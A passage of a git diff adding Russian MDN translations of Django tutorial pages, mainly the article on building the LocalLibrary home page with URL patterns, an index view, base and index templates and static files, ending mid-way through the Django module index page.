Детальная информация об авторе со значением первичного ключа равным <em><code><id></code></em></li> +</ul> + +<p>Соответствующий код для URL-преобразований и оторажений должен быть идентичным коду для списка книг и детальной информаци о книге <code>Book</code>, который мы создали ранее. Шаблоны будут отличаться, но будут иметь похожее поведение.</p> + +<div class="note"> +<p><strong>Примечание</strong>:</p> + +<ul> + <li>Когда вы создадите URL-преобразование для страницы списка авторов вам понадобится обновить ссылку <strong>All authors</strong> в базовом шаблоне. Следуйте <a href="#Update_the_base_template">тем же путем</a>, который мы проделали когда обновляли ссылку <strong>All books</strong>.</li> + <li>Когда вы создадите URL-преобразование для страницы с детальной информацией об авторе, вы должны будете обновить <a href="#Creating_the_Detail_View_template">шаблон детальной информации о книге</a> (<strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>), таким образом, чтобы ссылка автора указывала на страницу с детальной информации о нем (а не быть пустой). Данная ссылка будет иметь вид как указано жирным во фрагменте ниже. + <pre class="brush: html"><p><strong>Author:</strong> <a href="<strong>{% url 'author-detail' book.author.pk %}</strong>">\{{ book.author }}</a></p> +</pre> + </li> +</ul> +</div> + +<p>Когда вы закончите, ваши страницы должны будут выглядеть как на картинке.</p> + +<p><img alt="Author List Page" src="https://mdn.mozillademos.org/files/14053/author_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<ul> +</ul> + +<p><img alt="Author Detail Page" src="https://mdn.mozillademos.org/files/14055/author_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 358px; margin: 0px auto; width: 825px;"></p> + +<ul> +</ul> + +<h2 id="Итоги">Итоги</h2> + +<p>Поздравляем! Наш базовый функционал библиотеки готов! </p> + +<p>В данной статье мы изучили как применять обобщенные классы отображения списка и детальной информации, и использовать их для создания страниц отображения наших книг и авторов. Кроме того, мы многое узнали о паттернах преобразования, построенных на основе регулярных выражений, а также то, как вы можете передавать данные из URL-адреса в ваше отображение. Мы изучили несколько приемов применения шаблонов. В самом конце мы показали как осуществлять постраничный вывод списков, так, что наши списки управляются даже тогда, когда они содерждат много записей.</p> + +<p>В нашей следующей статье мы расширим нашу библиотеку, путем поддержки пользовательких аккаутов, и так образом продемонстрируем аутетификацию, разграничение уровней доступа, сессии и формы.</p> + +<h2 id="Дополнительная_информация">Дополнительная информация</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">Встроенные обобщенные классы отображения</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-display/">Обобщенный вид отображения</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/intro/">Введение в отображения на основе классов</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins">Встроенные теги шаблона и фильтры</a> (Django docs).</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/pagination/">Постраничный вывод (Pagination)</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/django/home_page/index.html b/files/ru/learn/server-side/django/home_page/index.html new file mode 100644 index 0000000000..b573f3fdb6 --- /dev/null +++ b/files/ru/learn/server-side/django/home_page/index.html @@ -0,0 +1,359 @@ +--- +title: 'Руководство часть 5: Создание домашней страницы' +slug: Learn/Server-side/Django/Home_page +tags: + - django + - Для начинающих + - Изучение + - Кодирование + - Отображения + - Руководство + - Серверная сторона + - Статья + - Шаблоны +translation_of: Learn/Server-side/Django/Home_page +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</div> + +<p class="summary">Теперь мы готовы создать код нашей первой страницы — домашняя страница сайта <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> будет показывать количество записей в каждой модели, кроме того, она будет выводить боковую навигационную панель с ссылками на другие страницы сайта. В результате мы приобретем практический навык написания простых URL-преобразований и отображений, получения записей из базы данных и применения шаблонов.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Требования:</th> + <td>Прочитать <a href="/en-US/docs/Learn/Server-side/Django/Introduction">Введение в Django</a>. Завершить изучение предыдущех частей руководства (включая <a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Руководство часть 4: Django административный раздел сайта</a>).</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Понимать как создавать простые url-преобразования (которые не содержат никаких данных) и отображения, как получать данные из моделей и создавать шаблоны.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>Теперь, когда мы определили наши модели и создали несколько записей в них, пришло время написать код, который будет показывать данную информацию пользователям. И первое, что нам необходимо сделать это определиться какую информацию мы бы хотели показывать на наших страницах, а затем определить соответствующие URL-адреса для получения соответствующих ресурсов. Затем нам надо создать url-преобразования, отображения (функции, или классы), а затем шаблоны страницы. </p> + +<p>Диаграмма, представленная ниже, демонстрирует главный поток данных и элементов, которые нужно реализовать для управления HTTP запросами и ответами. Поскольку мы уже создали модель, то нам остается создать следующее:</p> + +<ul> + <li>URL-преобразования для перехода по соответствующему URL-адресу (с учетом информации, передаваемой в данном адресе) к соответствующей функции отображения.</li> + <li>Функции отображения для запроса соответствующих данных из моделей, создание страниц HTML для показа этих данных и их отправку в клиент пользователя (в браузер).</li> + <li>Шаблоны, которые используются отображениями для рендеринга (отрисовки) данных.</li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="display: block; margin: 0px auto;"></p> + +<p>Как вы увидите в следующем разделе, у нас будет 5 страниц, которые мы немного опишем в данной статье. Данная статья, большей частью, будет сконцентрирована на реализации всего-лишь одной, домашней страницы нашего сайта (к другим страницам мы перейдем в других частях руководства). Это должно дать вам хорошее базовое представление о работе с URL-преобразованиями (связывании), отображениями и моделями.</p> + +<h2 id="Определяем_URL-адреса_страниц">Определяем URL-адреса страниц</h2> + +<p>По сути, так как для конечных пользователей, данная версия сайта <em>LocalLibrary</em> является read-only (только для чтения), то нам надо создать домашнюю страницу и страницы, которые будут <em>показывать</em> списки авторов и книг, а также детальную информацию о них, соответственно. </p> + +<p>Перечислим URL-адреса, которые понадобятся для наших страниц:</p> + +<ul> + <li><code>catalog/</code> — Домашняя/индексная странца.</li> + <li><code>catalog/books/</code> — Список всех книг.</li> + <li><code>catalog/authors/</code> — Список всех авторов.</li> + <li><code>catalog/book/<em><id></em></code> — Детальная информация для определенной книги со значением первичного ключа равного <code><em><id></em></code>. Например, <code>/catalog/book/3</code>, для <code>id = 3</code>.</li> + <li><code>catalog/author/<em><id></em></code><em> </em>— Детальная информация для определенного автора со значением первичного ключа равного <em><code><id>. </code></em>Например, <code>/catalog/author/11</code>, для автора с <code>id = 11</code>.</li> +</ul> + +<p>Первые три URL-адреса используются для показа домашней страницы, а также списков книг и авторов. Они не кодируют никакой дополнительной информации и результат показа данных страниц будет полностью зависеть от того, что находится в базе данных и, по сути, будет все время одним и тем же (при неизменной базе данных, конечно).</p> + +<p>Последние два URL-адреса применяются для показа детальной информации об определенной книге, или авторе — в себе они содержат соответствующее значение идентификатора (показан как <code><em><id></em></code>, выше). URL-преобразование получает данную информацию и передает ее в отображение, которое применяет ее для запроса к базе данных. Для кодирования и применения данной информации в вашем URL-адресе нам понадобится только одно url-преобразование, соответствующее отображение и шаблон страницы для показа любой книги (или автора). </p> + +<div class="note"> +<p><strong>Примечание</strong>: Django позволяет вам конструировать ваши URL-адреса любым, удобным для вас, способом — вы можете закодировать информацию в теле URL-адреса, как показано выше, или использовать URL-адрес типа <code>GET</code> (например, <code>/book/?id=6</code>). Независимо от ваших предпочтений, URL-адреса должны быть понятными, логичными и читабельными (<a href="https://www.w3.org/Provider/Style/URI">посмотрите совет W3C здесь</a>).<br> + <br> + Документация Django рекомендует кодировать информацию в теле URL-адреса, на практике это приводит к лучшей стркутуре сайта.</p> +</div> + +<p>Как было отмечено ранее, оставшаяся часть данной статьи описывает как сделать главную страницу сайта.</p> + +<h2 id="Создание_главной_страницы_сайта">Создание главной страницы сайта</h2> + +<p>Первой страницей, которую мы создадим, будет главная страница сайта (<code>catalog/</code>). Она будет небольшой статической HTML-страницей, которая будет показывать вычисленные "количества" различных записей из базы данных. Для того, чтобы проделать данную работу мы вначале создадим URL-преобразование, затем отображение и шаблон. </p> + +<div class="note"> +<p><strong>Примечание</strong>: Лучше уделить больше внимания на данный раздел, поскольку информация, представленная здесь, применяется для создания всех страниц сайта.</p> +</div> + +<h3 id="URL-преобразование">URL-преобразование</h3> + +<p>Когда мы создавали <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">скелет сайта</a> мы обновили <strong>locallibrary/urls.py </strong>так что всякий раз, когда начинается URL-адрес наш catalog/ получен и URLConf catalog.urls подлючен для обработки оставшейся части строки.</p> + +<pre><code>urlpatterns += [ + path('catalog/', include('catalog.urls')), +]</code></pre> + +<p>Примечание: всякий раз, когда Django сталкивается c <code><a href="https://docs.djangoproject.com/en/2.0/ref/urls/#django.urls.include" title="django.conf.urls.include">django.urls.include()</a></code> он отбрасывает часть совпавшего URL , и отправляет оставшуюся строку в включенный URLconf для дальнейшей обработки.</p> + +<p>Внутри нашего каталога приложения откройте <strong>urls.py</strong> и поместите в него текст, отмеченный жирным, ниже. </p> + +<pre class="brush: python line-numbers language-python"><code class="language-python">urlpatterns = [ +<strong> path('', views.index, name='index'),</strong> +]</code></pre> + +<p>Эта функция <code>path()</code> определяет URL-паттерн (в данном случае это пустая строка:<code>'' - </code>мы поговорим чуть более подробно о них далее в данном руководстве) и функцию отображения, которая будет вызвана, если введенный адрес будет соответствать данному паттерну (<code>views.index</code> — это функция с именем <code>index()</code> в <strong>views.py</strong>).</p> + +<p>Данная функция <code>path()</code>, кроме того, определяет параметр <code>name</code>, который уникально определяет <em>это </em>частное URL-преобразование. Вы можете использовать данное имя для "обратного" ("reverse") преобразования — то есть, для динамического создания URL-адреса, указывающего на ресурс, на которое указывает данное преобразование. Например, теперь, когда у нас имеется данное символическое имя, мы можем ссылаться на нашу домашнюю страницу при помощи создания следующей ссылки внутри какого-либо шаблона:</p> + +<pre class="brush: html"><a href="<strong>{% url 'index' %}</strong>">Home</a>.</pre> + +<div class="note"> +<p><strong>Примечание</strong>: Мы могли бы, конечно, жестко указать прямую ссылку (то есть, <code><a href="<strong>/catalog/</strong>">Home</a></code>), но тогда, если мы изменим адрес нашей домашней страницы (например на <code>/catalog/index</code>), то данные ссылки перестанут корректно работать. Применение "обратного" url-преобразования более гибкий и эффективный подход!</p> +</div> + +<h3 id="Отображения_(на_основе_функций)">Отображения (на основе функций)</h3> + +<p>Отображение является функцией, которая обрабатывает HTTP-запрос, получает данные из базы данных (при необходимости), которые применяются для генерации страницы HTML. Затем функция отображения возвращает сгенерированную страницу пользователю в виде HTTP-ответа. В нашем случае, индексная функция демонстрирует этот процесс — она получает информацию о количестве записей <code>Book</code>, <code>BookInstance</code>, доступности <code>BookInstance</code>, а также записи <code>Author</code> из базы данных, затем передает эти записи в шаблон страницы, генерирует страницу и передает ее пользователю (клиенту пользователя, например браузеру).</p> + +<p>Откройте <strong>catalog/views.py</strong> и отметьте для себя, что данный файл уже импортирует функцию <a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#django.shortcuts.render">render()</a> - функцию, которая генерирует HTML-файлы при помощи шаблонов страниц и соответствующих данных. </p> + +<pre class="brush: python">from django.shortcuts import render + +# Создайте ваше отображение здесь +</pre> + +<p>Скопируйте следующий код в нижнюю часть файла. Первая строка импортирует классы модели, которые мы будем использовать для доступа к данным во всех наших функциях (позже и классах) отображения.</p> + +<pre class="brush: python">from .models import Book, Author, BookInstance, Genre + +def index(request): + """ + Функция отображения для домашней страницы сайта. + """ + # Генерация "количеств" некоторых главных объектов + num_books=Book.objects.all().count() + num_instances=BookInstance.objects.all().count() + # Доступные книги (статус = 'a') + num_instances_available=BookInstance.objects.filter(status__exact='a').count() + num_authors=Author.objects.count() # Метод 'all()' применен по умолчанию. + + # Отрисовка HTML-шаблона index.html с данными внутри + # переменной контекста context + return render( + request, + 'index.html', + context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors}, + )</pre> + +<p>Первая часть функции отображения получает количество записей при помощи вызова функции <code>objects.all()</code> у атрибута <code>objects</code>, доступного для всех классов моделей. Похожим образом мы получаем список объектов <code>BookInstance</code>, которые имеют статус 'a' (Доступно). Вы можете найти дополнительную инофрмацию о работе с моделями в предыдущей части руководства (<a href="/en-US/docs/Learn/Server-side/Django/Models#Searching_for_records">Руководство часть 3: Применение моделей > Поиск записей</a>).</p> + +<p>В конце функции <code>index</code> вызывается функция <code>render()</code>, которая, в качестве ответа, создает и возвращает страницу HTML (эта функция "оборачивает" вызовы нескольких функций, тем самым существенно упрощая процесс разработки). В качестве параметров ей передаются объект <code>request</code> (типа <code>HttpRequest</code>), шаблон HTML-страницы с метками (<code>placeholders</code>), которые будут замещены данными, а также переменной <code>context</code> (словарь Python, который содержит данные, которые и будут замещать метки в шаблоне). </p> + +<p>В следующем разделе мы более подробно поговорим о шаблонах и переменной контекста. Давайте создадим наш шаблон, чтобы показать уже что-нибудь пользователю!</p> + +<h3 id="Шаблон">Шаблон</h3> + +<p>Шаблон это текстовый файл, который определяет структуру и расположение данных в файле, кроме того, в нем размещают специальные метки (placeholders), которые используются для показа реального содержимого, то есть данных. По умолчанию Django ищет файлы шаблонов в директории с именем '<strong>templates</strong>' внутри вашего приложения. Например, внутри индексной функции отображения, которую мы только что создали, вызов <code>render()</code> будет пытаться найти файл <strong>/locallibrary/catalog/templates/<em>index.html</em></strong> и в случае неудачи сгенерирует ошибку о том, что файл не найден. Вы можете увидеть данную ошибку, если вы сохраните предыдущие изменения, затем перейдете в браузер и наберете в адресной строке <code>127.0.0.1:8000</code>. В результате, в окно браузера будет выведено сообщение об ошибке "TemplateDoesNotExist at /catalog/" и некоторая другая информация.</p> + +<div class="note"> +<p><strong>Примечание</strong>: На самом деле, в зависимости от настроек проекта, Django просматривает несколько мест в поисках шаблона (поиск в директории приложения осуществляется по умолчанию!). Вы можете найти больше информации о шаблонах и форматах, которые они поддерживают, перейдя по ссылке <a href="https://docs.djangoproject.com/en/1.10/topics/templates/">Шаблоны</a> (Django docs).</p> +</div> + +<h4 id="Расширение_шаблонов">Расширение шаблонов</h4> + +<p>Шаблон главной страницы нашего сайта должен соответствовать стандарту разметки HTML для разделов <code>head</code> и <code>body</code>, кроме того иметь разделы для навигации (на другие страницы, которые мы создадим позже) и показа некоторого вводного текста. Большая часть данной структуры будет одинаковой для всех страниц нашего сайта. Таким образом, чтобы избежать копирования одной и той же информации, язык создания шаблонов Django позволяет вам объявить базовый шаблон, а затем расширить его, замещая только те части, которые являются специфическими для каждой страницы. </p> + +<p>Например, базовый шаблон <strong>base_generic.html</strong> может выглядеть как показано ниже. Как вы видите, этот файл содержит некоторую "общую" структуру HTML, разделы для заголовка, панель навигации и содержимое, отмеченное тэгами шаблона <code>block</code> и <code>endblock</code> (показано жирным). Данные блоки могут быть пустыми, или иметь содержимое, которое будет использоваться "по умолчанию" всеми страницами-наследниками.</p> + +<div class="note"> +<p><strong>Примечание</strong>: <em>Тэги</em> шаблона подобны функциям, которые могут применяться для создания циклов по спискам, выполнять условные оперции и так далее. Кроме тэгов, язык шаблона позволяет использовать переменные (которые передаются в шаблон из отображения), а также <em>шаблонные фильтры</em>, которые переформатируют переменные (например, переводят строку в нижний регистр).</p> +</div> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="en"> +<head> + <strong>{% block title %}</strong><title>Local Library</title><strong>{% endblock %}</strong> +</head> + +<body> + <strong>{% block sidebar %}</strong><!-- insert default navigation text for every page --><strong>{% endblock %}</strong> + <strong>{% block content %}</strong><!-- default content text (typically empty) --><strong>{% endblock %}</strong> +</body> +</html> +</pre> + +<p>Когда мы определяем шаблон для конкретного отображения, то в первую очередь мы объявляем базовый шаблон (при помощи тэга <code>extends</code> — смотрите код в следующем фрагменте). Если имеются блоки в базовом шаблоне, которые мы хотим заместить, тогда в нашем текущем шаблоне мы объявляем <code>block</code>/<code>endblock</code> и указываем соответствующее имя блока. </p> + +<p>Например фрагмент кода, показанный ниже, демонстрирует применение тэга <code>extends</code> и переопределяет блок с именем <code>content</code>. Окончальный код HTML будет содержать все структуры базового файла шаблона (включая содержимое по умолчанию, которое мы указали в блоке <code>title</code>) и код блока <code>content</code>, который мы разместили в текущем файле шаблона.</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} +<h1>Local Library Home</h1> +<p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p> +{% endblock %}</pre> + +<h4 id="Базовый_шаблон_сайта_LocalLibrary">Базовый шаблон сайта LocalLibrary</h4> + +<p>Базовый шаблон, который мы планируем использовать для сайта <em>LocalLibrary</em>, представлен ниже. Как вы видите, данный фрагмент содержит HTML код и объявляет следующие блоки <code>title</code>, <code>sidebar</code> и <code>content</code>. Мы добавили заголовок по умолчанию (который, возможно, мы захотим изменить), а также боковую панель навигации, содержащей ссылки на списки всех книг и авторов (панель навигации, мы, вероятно, не будем менять/замещать, но, тем не менее, добавив этот блок, мы оставим для себя такую возможность).</p> + +<div class="note"> +<p><strong>Примечание</strong>: Во фрагменте мы используем два дополнительных шаблонных тега: <code>url</code> и <code>load static</code>. Они будут описаны в следующих разделах.</p> +</div> + +<p>Создайте новый файл — <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> — и добавьте в него следующее содержимое:</p> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="en"> +<head> + + {% block title %}<title>Local Library</title>{% endblock %} + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> + <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script> + <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> + + <!-- Добавление дополнительного статического CSS файла --> + {% load static %} + <link rel="stylesheet" href="{% static 'css/styles.css' %}"> +</head> + +<body> + + <div class="container-fluid"> + + <div class="row"> + <div class="col-sm-2"> + {% block sidebar %} + <ul class="sidebar-nav"> + <li><a href="{% url 'index' %}">Home</a></li> + <li><a href="">All books</a></li> + <li><a href="">All authors</a></li> + </ul> + {% endblock %} + </div> + <div class="col-sm-10 "> + {% block content %}{% endblock %} + </div> + </div> + + </div> +</body> +</html></pre> + +<p>Шаблон использует (и включает в себя) JavaScript и CSS от <a href="http://getbootstrap.com/">Bootstrap</a> для лучшего размещения элементов и формирования внешнего вида HTML страницы. Применение Bootstrap, или любого другого фреймворка для клиентской части сайта, является довольно продуктивным способом повышения привлекательности страницы, в том числе, это учитывает возможность запроса и показа сайта с устройств, с различными разрешениями экрана, а кроме того, это позволяет нам повысить уровень взаимодействия с пользователем — мы направим большую часть своих усилий на серверную часть нашего сайта!</p> + +<p>Базовый шаблон ссылается на локальный файл css (<strong>styles.css</strong>), который предоставляет дополнительные стили. Создайте <strong>/locallibrary/catalog/static/css/styles.css</strong> и добавьте в него следующее содержимое:</p> + +<pre class="brush: css">.sidebar-nav { + margin-top: 20px; + padding: 0; + list-style: none; +}</pre> + +<h4 id="Индексный_шаблон_(шаблон_главной_страницы_сайта)">Индексный шаблон (шаблон главной страницы сайта)</h4> + +<p>Создайте файл HTML <strong>/locallibrary/catalog/templates/<em>index.html</em></strong> и скопируйте в него код, указанный ниже. Как вы наверное заметили, в первой строке мы расширяем наш базовый шаблон, а затем замещаем содержимое блока <code>content</code>, базового шаблона, новым содержимым текущего шаблона.</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} +<h1>Local Library Home</h1> + + <p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p> + +<h2>Dynamic content</h2> + + <p>The library has the following record counts:</p> + <ul> + <li><strong>Books:</strong> <strong>\{{ num_books }}</strong></li> + <li><strong>Copies:</strong> <strong>\{{ num_instances }}</strong></li> + <li><strong>Copies available:</strong> <strong>\{{ num_instances_available }}</strong></li> + <li><strong>Authors:</strong> <strong>\{{ num_authors }}</strong></li> + </ul> + +{% endblock %}</pre> + +<p>В данном фрагменте, в разделе <em>Динамическое содержимое, </em>мы объявили метки (<em>шаблонные переменные</em>) для информации, которую мы получаем из соответствующего отображения. Данные переменные объявляются при помощи "двойных фигурных скобок" (в предыдущем фрагменте выделено жирным).</p> + +<div class="note"> +<p><strong>Примечание:</strong> Переменные шаблона заключаются в двойные фигурные скобки (<code>\{{ num_books }}</code>) , а тэги шаблона (функции шаблона), помещаются в одинарные фигурные скобки со знаками процента (<code>{% extends "base_generic.html" %}</code>).</p> +</div> + +<p>Важно отметить, что данные переменные имеют имена, соответствующие именам передаваемых <em>ключей</em> из словаря переменной <code>context</code>, которая, в свою очередь, передается из отображения, во время вызова функции <code>render()</code> (смотри ниже). При отрисовке шаблона, вместо этих ключей будут подставлены, соответствующие им, <em>значения</em>. </p> + +<pre class="brush: python">return render( + request, + 'index.html', + context={'<strong>num_books</strong>':num_books,'<strong>num_instances</strong>':num_instances,'<strong>num_instances_available</strong>':num_instances_available,'<strong>num_authors</strong>':num_authors}, +)</pre> + +<h4 id="Ссылка_на_статические_файлы_их_шаблонов">Ссылка на статические файлы их шаблонов</h4> + +<p>Любой ваш проект с большой вероятностью будет использовать статические ресурсы, включая JavaScript, CSS и изображения. В связи с тем, что расположение этих файлов может быть неизвестно (или может измениться), Django позволяет вам в шаблоне указать относительное расположение данных файлов при помощи глобального значения <code>STATIC_URL</code> (по умолчанию, значение параметра <code>STATIC_URL</code> установлено в '<code>/static/</code>', но вы можете выбрать любое другое значение, указав, например, сетевой ресурс, или что-то еще).</p> + +<p>Внутри шаблона вы вызываете функцию (тэг) <code>load</code>, которая загружает статическую библиотеку "static" (как показано ниже). После того как статическая библиотека загружена, вы можете использовать тэг шаблона <code>static</code>, который указывает относительный путь URL к интересующему вас файлу.</p> + +<pre class="brush: html"> <!-- Добавляем дополнительный статический CSS-файл --> +{% load static %} +<link rel="stylesheet" href="{% static 'css/styles.css' %}"></pre> + +<p>Тем же способом вы можете загрузить нужное изображение. Например:</p> + +<pre class="brush: html">{% load static %} +<img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="My image" style="width:555px;height:540px;"/> +</pre> + +<div class="note"> +<p><strong>Примечание</strong>: Фрагменты выше указывают пути расположения файлов, но Django не использует их по умолчанию. В процессе разработки сервер использует значения, указанные в глобальном файле URL-преобразований (<strong>/locallibrary/locallibrary/urls.py</strong>), который мы создали в части <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">создание скелета сайта</a>. В дальнейшем, в продакшине, вам нужно будет уточнить параметры расположения статических файлов. Мы вернемся к этому позже.</p> +</div> + +<p>Для получения более подробной информации о работе со статическими файлами обратитесь к документации по ссылке <a href="https://docs.djangoproject.com/en/1.10/howto/static-files/">Управление статическими файлами</a> (Django docs).</p> + +<h4 id="Построение_URL-адресов">Построение URL-адресов</h4> + +<p>Базовый шаблон, указанный выше, вводит тэг <code>url</code>.</p> + +<pre class="brush: python"><li><a href="{% url 'index' %}">Home</a></li> +</pre> + +<p>Данный тэг с именем <code>url()</code>, ищет в файле <strong>urls.py</strong> связанное значение переменной, указанной в качестве ее параметра <code>'index'</code>, а затем возвращает URL, который вы можете использовать для ссылки на соответствующие ресурсы.</p> + +<h2 id="Как_теперь_все_это_выглядит">Как теперь все это выглядит?</h2> + +<p>На данный момент мы должны были сделать все что необходимо, для того, чтобы показать главную страницу нашего сайта. Запустите сервер (<code>python3 manage.py runserver</code>) и введите в ваш браузер адрес <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>. Если все настроено как надо, то ваш сайт должен выглядеть как показано на следующей картинке.</p> + +<p><img alt="Index page for LocalLibrary website" src="https://mdn.mozillademos.org/files/14045/index_page_ok.png" style="border-style: solid; border-width: 1px; display: block; height: 356px; margin: 0px auto; width: 874px;"></p> + +<div class="note"> +<p><strong>Примечание:</strong> На данном этапе вы не сможете воспользоваться ссылками на страницы <strong>All books</strong> и <strong>All authors</strong>, потому что url-адреса, отображения и шаблоны для данных страниц не созданы (мы просто объявили метки для соответствующих ссылок в базовом шаблоне<code> base_generic.html</code>).</p> +</div> + +<h2 id="Проверьте_себя">Проверьте себя</h2> + +<p>А теперь парочка заданий, чтобы проверить, насколько вы усвоили работу с запросами к моделям базы данных, взаимодействия с отображениями и шаблонами. </p> + +<ol> + <li>В главном файле шаблона (<em>base_generic.html</em>) есть блок <code>title</code>. Переопределите этот блок в индексном шаблоне (<em>index.html</em>) и задейте новый заголовок для этой страницы.</li> + <li>Модифицируйте функцию отображения таким образом, чтобы получать из базы данных количество жанров и количество книг, которые содержат в своих заголовках какое-либо слово (без учета регистра), а затем передайте эти значения в шаблон.</li> +</ol> + +<ul> +</ul> + +<h2 id="Итог">Итог</h2> + +<p>Мы создали домашнюю страницу для нашего сайта — HTML страница, которая показывает количество некоторых записей из базы данных и содержит ссылки на другие "все-еще-будут-созданы" страницы. Кроме того, мы изучили большое количество базовой информации об url-преобразованиях, отображениях, запросах к базе данных, используя наши модели, передачу информации из отображений в шаблоны, кроме того, создание и расширение шаблонов.</p> + +<p>В следующей части, при помощи наших новых знаний, мы создадим еще четыре страницы.</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial03/">Написание вашего первого приложения Django, часть 3: Отображения и Шаблоны</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/">URL-диспетчер</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/views/">Функции отображения</a> (DJango docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/templates/">Шаблоны</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/static-files/">Управление статическими файлами</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#django.shortcuts.render">Удобные (встроенные) функции Django</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/django/index.html b/files/ru/learn/server-side/django/index.html new file mode 100644 index 0000000000..7e167477b1 --- /dev/null +++ b/files/ru/learn/server-side/django/index.html @@ -0,0 +1,66 @@ +--- +title: Веб-фреймворк Django (Python) +slug: Learn/Server-side/Django +tags: + - back-end программирование + - Введение + - Джанго + - Изучать + - Начинающим +translation_of: Learn/Server-side/Django +--- +<div>{{LearnSidebar}}</div> + +<p>Django является чрезвычайно популярным и полнофункциональным серверным веб-фреймворком, написанным на Python. Данный модуль расскажет о том, почему Django один из самых популярных серверных веб-фреймворков, как установить среду разработки, и как начать использовать его для создания собственных веб-приложений.</p> + +<h2 id="Требования">Требования</h2> + +<p>Перед началом работы с этим модулем вам не обязательно уже быть знакомым с Django. Вам бы пригодилось общее понимание того, что такое серверное веб-программирование и веб-фреймворки, почерпнутое, в идеале, из топиков другого нашего модуля <a href="./First_steps">Первые шаги серверного программирования вебсайтов</a>.</p> + +<p>Рекомендуется базовое понимание концепций программирования и языка Python, но это не обязательно для освоения основных понятий.</p> + +<div class="note"> +<p><strong>Примечание</strong>: Python является одним из самых доступных в чтении и понимании для новичков языком программирования. Тем не менее, если вы захотите глубже понять этот модуль, в Интернете сейчас доступны многочисленные бесплатные книги и учебные пособия (новички в программирование возможно захотят посетить <a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers">Python for Non Programmers</a> на вики-страницах python.org).</p> +</div> + +<h2 id="Руководство">Руководство</h2> + +<dl> + <dt><a href="/ru/docs/Learn/Server-side/Django/Introduction">Введение в Django</a></dt> + <dd>В этой первой статье по Django мы ответим на вопрос "Что такое Django?" и сделаем обзор того, что делает этот веб-фреймворк особенным. Мы кратко рассмотрим основные особенности, включая некоторый продвинутый функционал, на котором у нас не будет возможности подробно остановиться в этом модуле. Мы также покажем вам некоторые из основных строительных блоков приложения Django, чтобы дать вам представление о том, что он может сделать, прежде чем вы перейдете к установке и начнете экспериментировать.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/development_environment">Установка среды разработки Django</a></dt> + <dd>Теперь, когда вы знаете, что такое Django, мы покажем вам, как установить и протестировать среду разработки Django для Windows, Linux (Ubuntu) и Mac OS X — какую бы операционную систему вы не использовали, эта статья должна дать вам понимание того, что вам потребуется, чтобы начать разработку Django-приложений .</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">Учебник Django: Веб-сайт местной библиотеки</a></dt> + <dd>Первая статья в нашей серии практических уроков объясняет, что вы узнаете, и представит обзор веб-сайта «местной библиотеки», над которым мы будем работать и развиваться в последующих статьях.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/skeleton_website">Учебник Django часть 2: Создание скелета веб-сайта</a></dt> + <dd>В этой статье показано, как вы можете создать проект веб-сайта «каркас» в качестве основы, после чего вы сможете заполнить параметры сайта, urls, модели, представления и шаблоны.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/Models">Учебник Django часть 3: Использование моделей</a></dt> + <dd>В этой статье показано, как определить модели для сайта местной библиотеки — модели представляют структуры данных, в которых мы хотим хранить данные нашего приложения, а 